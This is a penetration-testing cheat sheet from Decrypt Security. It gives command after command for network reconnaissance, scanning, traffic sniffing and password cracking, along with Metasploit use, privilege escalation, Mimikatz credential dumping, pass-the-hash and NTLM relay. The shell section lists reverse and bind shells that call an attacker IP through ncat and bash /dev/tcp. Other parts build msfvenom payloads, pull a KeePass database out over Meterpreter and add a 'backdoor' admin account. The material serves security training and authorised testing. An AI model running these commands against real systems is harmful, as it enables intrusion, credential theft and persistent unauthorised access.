Hacking Tools Cheat Sheet

Decrypt Security, Version 1.0, June 2022
https://www.decryptsec.com

Basic Linux Networking Tools

Show IP configuration:

```
# ip a l
```

Change IP/MAC address:

```
# ip link set dev eth0 down
# macchanger -m 23:05:13:37:42:21 eth0
# ip link set dev eth0 up
```

Static IP address configuration:

```
# ip addr add 10.5.23.42/24 dev eth0
```

DNS lookup:

```
# dig decryptsec.com
```

Reverse DNS lookup:

```
# dig -x 10.5.23.42
```

Information Gathering

Find owner/contact of domain or IP address:

```
# whois decryptsec.com
```

Get nameservers and test for DNS zone transfer:

```
# dig example.com ns
# dig example.com axfr @n1.example.com
```

Get hostnames from CT logs: Search for `%.decryptsec.com` on https://crt.sh.

Or using an `nmap` script:

```
# nmap -sn -Pn decryptsec.com
--script hostmap-crtsh
```

Combine various sources for subdomain enum:

```
# amass enum -src -brute -min-for-
recursive 2 -d decryptsec.com
```

TCP Tools

Listen on TCP port:

```
# ncat -l -p 1337
```

Connect to TCP port:

```
# ncat 10.5.23.42 1337
```

TLS Tools

Create self-signed certificate:

```
# openssl req -x509 -newkey rsa:2048
-keyout key.pem -out cert.pem -nodes
-subj "/CN=example.org/"
```

Start TLS Server:

```
# ncat --ssl -l -p 1337 --ssl-cert
cert.pem --ssl-key key.pem
```

Connect to TLS service:

```
# ncat --ssl 10.5.23.42 1337
```

Connect to TLS service using `openssl`:

```
# openssl s_client -connect
10.5.23.42:1337
```

Show certificate details:

```
# openssl s_client -connect
10.5.23.42:1337 | openssl x509 -text
```

Test TLS server certificate and ciphers:

```
# sslyze --regular 10.5.23.42:443
```

TCP to TLS proxy:

```
# socat TCP-LISTEN:2305,fork,reuseaddr
ssl:example.com:443
```

Online TLS tests:

- ssllabs.com, hardenize.com

HTTP Tools

Start Python webserver on port 2305:

```
# python3 -m http.server 2305
```

Perform HTTP Request:

```
# curl http://10.5.23.42:2305/?foo=bar
```

Useful `curl` options:

- `-k`: Accept untrusted certificates
- `-d "foo=bar"`: HTTP POST data
- `-H: "Foo: Bar"`: HTTP header
- `-I`: Perform HEAD request
- `-L`: Follow redirects
- `-o foobar.html`: Write output file
- `--proxy http://127.0.0.1:8080`: Set proxy

Scan for common files/applications/configs:

```
# nikto -host https://example.net
```

Enumerate common directory-/filenames:

```
# gobuster dir -k -u
https://example.net -w
/usr/share/wordlists/dirb/common.txt
```

Sniffing

ARP spoofing:

```
# arpspoof -t 10.5.23.42 10.5.23.1
```

Or a graphical tool:

```
# ettercap -G
```

Show ARP cache:

```
# ip neigh
```

Delete ARP cache:

```
# ip neigh flush all
```

Sniff traffic:

```
# tcpdump [options] [filters]
```

Useful `tcpdump` options:

- `-i interface`: Interface or `any` for all
- `-n`: Disable name and port resolution
- `-A`: Print in ASCII
- `-XX`: Print in hex and ASCII
- `-w file`: Write output PCAP file
- `-r file`: Read PCAP file

Useful `tcpdump` filters:

- `not arp`: No ARP packets
- `port ftp or port 23`: Only port 21 or 23
- `host 10.5.23.31`: Only from/to host
- `net 10.5.23.0/24`: Only from/to hosts in network

Advanced sniffing using `tshark` or Wireshark.

Sniffing over SSH on a remote host:

```
# ssh 10.5.23.42 tcpdump -w- port not
ssh | wireshark -k -i -
```

Search in network traffic:

```
# ngrep -i password
```

Show HTTP GET requests:

```
# urlsnarf
```

Show transmitted images:

```
# driftnet
```

Network Scanning

ARP Scan:

```
# nmap -n -sn -PR 10.5.23.0/24
```

Reverse DNS lookup of IP range:

```
# nmap -sL 10.5.23.0/24
```

Nmap host discovery (ARP, ICMP, SYN 443/tcp, ACK 80/tcp):

```
# nmap -sn -n 10.5.23.0/24
```

TCP scan (SYN scan = half-open scan):

```
# nmap -Pn -n -sS -p
22,25,80,443,8080 10.5.23.0/24
```

List Nmap scripts:

```
# ls /usr/share/nmap/scripts
```

Scan for EternalBlue vulnerable hosts:

```
# nmap -n -Pn -p 443 --script smb-
vuln-ms17-010 10.5.23.0/24
```

Scan for vulnerabilities (script category filter):

```
# nmap -n -Pn --script "vuln and safe"
10.5.23.0/24
```

Performance Tuning (1 SYN packet ≈ 60 bytes → 20'000 packets/s ≈ 10 Mbps):

```
# nmap -n -Pn --min-rate 20000
10.5.23.0/24
```

Useful `nmap` options:

- `-n`: Disable name and port resolution
- `-PR`: ARP host discovery
- `-Pn`: Disable host discovery
- `-sn`: Disable port scan (host discovery only)
- `-sS/-sT/-sU`: SYN/TCP connect/UDP scan
- `--top-ports 50`: Scan 50 top ports
- `-iL file`: Host input file
- `-oA file`: Write output files (3 types)
- `-sC`: Script scan (default scripts)
- `--script <file /category>`: Specific scripts
- `-sV`: Version detection
- `-6`: IPv6 scan

The target can be specified using CIDR notation (`10.5.23.0/24`) or range definitions (`10.13-37.5.1-23`).

Fast scan using `masscan`:

```
# masscan -p80,8000-8100 --rate 20000
10.0.0.0/8
```

Public internet scan databases:

- shodan.io, censys.io

Shells

Start bind shell (on victim):

```
# ncat -l -p 2305 -e "/bin/bash -i"
```

Connect to bind shell (on attacker):

```
# ncat 10.5.23.42 2305
```

Listen for reverse shell (on attacker):

```
# ncat -l -p 23
```

Start reverse shell (on victim):

```
# ncat -e "/bin/bash -i" 10.5.23.5 23
```

Start reverse shell with bash only (on victim):

```
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1
```

Upgrade to pseudo terminal:

```
# python -c 'import pty;
pty.spawn("/bin/bash")'
```

DECRYPT SECURITY

Vulnerability DBs and Exploits

Exploit search (local copy of the Exploit-DB):

```
# searchsploit apache
```

Show exploit file path and copy it into clipboard:

```
# searchsploit -p 40142
```

Online vulnerability and exploit databases:

- cvedetails.com, exploit-db.com, packetstormsecurity.com

Cracking

Try SSH passwords from a wordlist:

```
# ncrack -p 22 --user root -P
./passwords.txt 10.5.23.0/24
```

Determine hash type:

```
# hashid 869d[...]bd88
```

Show example hash types for hashcat:

```
# hashcat --example-hashes
```

Crack hashes (e.g. 5600 for NetNTLMv2 type):

```
# hashcat -m 5600 -a 0 hash.txt
/path/to/wordlists/*
```

Crack hashes using John the Ripper:

```
# john hashes.txt
```

Metasploit Framework

Start Metasploit:

```
# msfconsole
```

Search exploit:

```
> search eternalblue
```

Use exploit:

```
msf > use exploit/windows/smb/ms17_…
```

Configure exploit:

```
msf exploit(…) > show options
msf exploit(…) > set TARGET 10.5.23.42
```

Run exploit:

```
msf exploit(…) > exploit
```

Generate reverse shell (WAR):

```
# msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<your
ip address> LPORT=443 -f war > sh.war
```

Reverse shell listener:

```
> use exploit/multi/handler
> set payload
linux/x64/shell_reverse_tcp
> set LHOST 10.5.23.42 # attacker
> set LPORT 443
> exploit
```

Upgrade to Meterpreter (or press `^Z` (Ctrl-Z)):

```
background
Background session 1? [y/N] y
> sessions # list sessions
> sessions -u 1 # Upgrade
> sessions 2 # interact with session 2
meterpreter > sysinfo # use it
```

Upload / download files:

```
meterpreter > upload pwn.exe
meterpreter > download c:\keepass.kdb
```

Execute a file:

```
meterpreter > execute -i -f /your/bin
```

Port forwarding to localhost:

```
meterpreter > portfwd add -l 2323 -p
3389 -r 10.5.23.23
```

Background Meterpreter session:

```
meterpreter > background
```

Pivoting through existing Meterpreter session:

```
> use post/multi/manage/autoroute
> set session 2 # meterpreter session
> run
> route
```

SOCKS via Meterpreter (requires autoroute):

```
> use auxiliary/server/socks4a
> set SRVPORT 8080
> run
```

Configure ProxyChains:

```
# vi /etc/proxychains.conf
[...]
socks4 127.0.0.1 1080
```

Connect through SOCKS proxy:

```
# proxychains ncat 172.23.5.42 1337
```

Linux Privilege Escalation

Enumerate local information (`-t` for more tests):

```
# curl -o /tmp/linenum
https://raw.githubusercontent.com/rebo
otuser/LinEnum/master/LinEnum.sh
# bash /tmp/linenum -r /tmp/report
```

Other hardening checks can be done using lynis or LinPEAS.

Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io.

Windows Privilege Escalation

Copy `PowerUp.ps1` from GitHub "PowerShellMafia/PowerSploit" into PowerShell to bypass ExecutionPolicy and execute `Invoke-AllChecks`. Use the abuse functions.

Add a new local admin:

```
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /add
```

Scan for network shares:

```
# smbmap.py --host-file  smbhosts.txt -
u Administrator -p PasswordOrHash
```

Windows Credentials Gathering

Start Mimikatz and create log file:

```
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log
```

Read `lsass.exe` process dump:

```
# sekurlsa::minidump lsass.dmp
```

Dump `lsass.exe` in `taskmgr` or `procdump`.

Show passwords/hashes of logged in users:

```
# sekurlsa::logonpasswords
```

Backup SYSTEM & SAM hive:

```
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv
```

Extract hashes using Mimikatz:

```
# lsadump::sam /system:system.hiv
/sam:sam.hiv
```

Pass-the-Hash

Shell via pass-the-hash (Impacket Tools):

```
# ./psexec.py -hashes
:011AD41795657A8ED80AB3FF6F078D03
domain/username@10.5.23.42
```

Over a subnet and extract SAM file:

```
# crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03
10.5.23.0/24 --sam
```

Browse shares via pass-the-hash:

```
# ./smbclient.py
domain/usrname@10.5.23.42 -hashes
:011AD41795657A8ED80AB3FF6F078D03
```

RDP via pass-the-hash:

```
# xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42
```

Meterpreter via pass-the-hash:

```
msf > set payload
windows/meterpreter/reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim
msf > set SMBPass 01[...]03:01[...]03
msf > exploit
meterpreter > shell
C:\WINDOWS\system32>
```

NTLM Relay

Vulnerable if `message_signing`: disabled:

```
# nmap -n -Pn -p 445 --script smb-
security-mode 10.5.23.0/24
```

Disable `SMB` and `HTTP` in `Responder.conf` and start Responder:

```
# ./Responder.py -I eth0
```

NTLM Relay to target and extract SAM file:

```
# ./ntlmrelayx.py -smb2support -t
smb://10.5.23.42
```

NTLM Relay using socks proxy:

```
# ./ntlmrelayx.py -tf targets.txt
-smb2support -socks
```

Configure ProxyChains:

```
# vi /etc/proxychains.conf
[...]
socks4 127.0.0.1 1080
```

Access files via SOCKS proxy:

```
 # proxychains smbclient -m smb3
'\\10.5.23.42\C$' -W pc05 -U
Administrator%invalidPwd
```

Active Directory

Use SharpHound to gather information and import into Bloodhound to analyze.
Download PingCastle from pingcastle.com and generate Report.

More Online References

- GitHub "swisskyrepo/PayloadsAllTheThings"
- GitHub "danielmiessler/SecLists"
- GitHub "enaqx/awesome-pentest"

DECRYPT SECURITY